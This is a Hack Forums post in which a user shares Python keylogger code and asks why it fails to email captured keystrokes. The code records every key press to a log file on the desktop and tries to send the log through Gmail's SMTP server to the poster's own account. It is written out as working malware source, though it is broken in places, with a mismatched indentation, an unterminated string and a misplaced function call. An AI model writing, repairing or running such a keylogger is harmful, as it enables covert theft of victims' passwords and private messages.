

Forum:[Hack Forums](#)

Thread: [Issue with smtplib & sending Email](#)

SenatorTedCruz - December 8, 2019, 9:16 pm

```
from pynput.keyboard import Key, Listener
import logging
from time import sleep
import smtplib
import datetime

data = ""

log_dir = r"C:/users/admin/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG,
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))
with Listener(on_press=on_press) as listener:
    listener.join()

f = open("keyLog.txt", "r")
data = f.read()

def send_mail():
    global data
    while True:
        if len(data) > 10:
            timeInSecs = datetime.datetime.now()
            SERVER = "smtp.gmail.com"
            PORT = 587
            USER = "*****"
            PASS = "*****"
            FROM = USER
            TO = [USER]
            SUBJECT = "B33: " + timeInSecs.isoformat()
            MESSAGE = data

            message_payload = "\r\n".join((
                "From: %s" % FROM,
                "To: %s" % TO,
                "Subject: %s" % SUBJECT,
                "",
                MESSAGE))
            try:
                server = smtplib.SMTP()
                server.connect(SERVER, PORT)
                server.starttls()
                server.login(USER, PASS)
```

```
server.sendmail(FROM, TO, message_payload)
data = "
server.quit()
except Exception as error:
    print
    error
sleep(5)
```

```
send_mail(data)
```

I'm not exactly sure where I am going wrong. The code is supposed to take keystrokes and record them into a log.txt file on the desktop which it is doing, but it is also supposed to email it via gmail to itself. I think the issue maybe with opening the log.txt and setting the string data to it but im not sure.